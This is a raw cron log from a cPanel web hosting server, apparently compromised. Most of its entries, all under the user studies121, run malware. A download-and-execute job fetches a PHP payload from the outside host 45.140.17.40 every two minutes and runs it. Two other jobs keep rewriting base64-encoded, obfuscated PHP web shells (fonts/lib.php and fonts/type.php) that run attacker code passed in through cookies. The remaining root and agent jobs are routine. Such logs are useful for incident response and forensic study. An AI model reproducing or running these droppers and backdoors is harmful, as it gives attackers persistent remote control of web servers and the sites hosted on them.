Sep 10 16:03:02 ip-184-168-122-23 CROND[3042]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:03:02 ip-184-168-122-23 CROND[3041]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 16:04:01 ip-184-168-122-23 CROND[3138]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 16:04:01 ip-184-168-122-23 CROND[3140]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 16:04:01 ip-184-168-122-23 CROND[3141]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:04:01 ip-184-168-122-23 CROND[3142]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:04:01 ip-184-168-122-23 CROND[3143]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 16:05:01 ip-184-168-122-23 CROND[3262]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 16:05:01 ip-184-168-122-23 CROND[3265]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 16:05:01 ip-184-168-122-23 CROND[3268]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 16:05:01 ip-184-168-122-23 CROND[3264]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:05:01 ip-184-168-122-23 CROND[3266]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 16:05:01 ip-184-168-122-23 CROND[3267]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:05:01 ip-184-168-122-23 CROND[3263]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 16:06:01 ip-184-168-122-23 CROND[3371]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 16:06:01 ip-184-168-122-23 CROND[3370]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:06:01 ip-184-168-122-23 CROND[3372]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 16:06:01 ip-184-168-122-23 CROND[3375]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:06:01 ip-184-168-122-23 CROND[3379]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 16:07:01 ip-184-168-122-23 CROND[3558]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:07:01 ip-184-168-122-23 CROND[3559]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 16:07:01 ip-184-168-122-23 CROND[3561]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:07:01 ip-184-168-122-23 CROND[3562]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 16:08:01 ip-184-168-122-23 CROND[3648]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 16:08:01 ip-184-168-122-23 CROND[3649]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 16:08:01 ip-184-168-122-23 CROND[3654]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:08:01 ip-184-168-122-23 CROND[3652]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 16:08:01 ip-184-168-122-23 CROND[3653]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:09:01 ip-184-168-122-23 CROND[3742]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 16:09:01 ip-184-168-122-23 CROND[3745]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 16:09:01 ip-184-168-122-23 CROND[3744]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 16:09:01 ip-184-168-122-23 CROND[3746]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:09:01 ip-184-168-122-23 CROND[3747]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:10:01 ip-184-168-122-23 CROND[3842]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 16:10:01 ip-184-168-122-23 CROND[3845]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:10:01 ip-184-168-122-23 CROND[3847]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 16:10:01 ip-184-168-122-23 CROND[3848]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:10:01 ip-184-168-122-23 CROND[3853]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 16:10:01 ip-184-168-122-23 CROND[3849]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 16:10:01 ip-184-168-122-23 CROND[3852]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 16:10:01 ip-184-168-122-23 CROND[3851]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 16:11:01 ip-184-168-122-23 CROND[3940]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:11:01 ip-184-168-122-23 CROND[3942]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 16:11:01 ip-184-168-122-23 CROND[3944]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:11:01 ip-184-168-122-23 CROND[3945]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 16:12:02 ip-184-168-122-23 CROND[4165]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 16:12:02 ip-184-168-122-23 CROND[4166]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 16:12:02 ip-184-168-122-23 CROND[4167]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 16:12:02 ip-184-168-122-23 CROND[4168]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:12:02 ip-184-168-122-23 CROND[4169]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:13:01 ip-184-168-122-23 CROND[4297]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:13:01 ip-184-168-122-23 CROND[4299]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:13:01 ip-184-168-122-23 CROND[4303]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 16:13:01 ip-184-168-122-23 CROND[4301]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 16:14:01 ip-184-168-122-23 CROND[4396]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 16:14:01 ip-184-168-122-23 CROND[4399]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 16:14:01 ip-184-168-122-23 CROND[4398]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:14:01 ip-184-168-122-23 CROND[4400]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:14:01 ip-184-168-122-23 CROND[4402]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 16:15:01 ip-184-168-122-23 CROND[4533]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:15:02 ip-184-168-122-23 CROND[4536]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 10 16:15:02 ip-184-168-122-23 CROND[4540]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 16:15:02 ip-184-168-122-23 CROND[4541]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 16:15:02 ip-184-168-122-23 CROND[4539]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 16:15:02 ip-184-168-122-23 CROND[4542]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
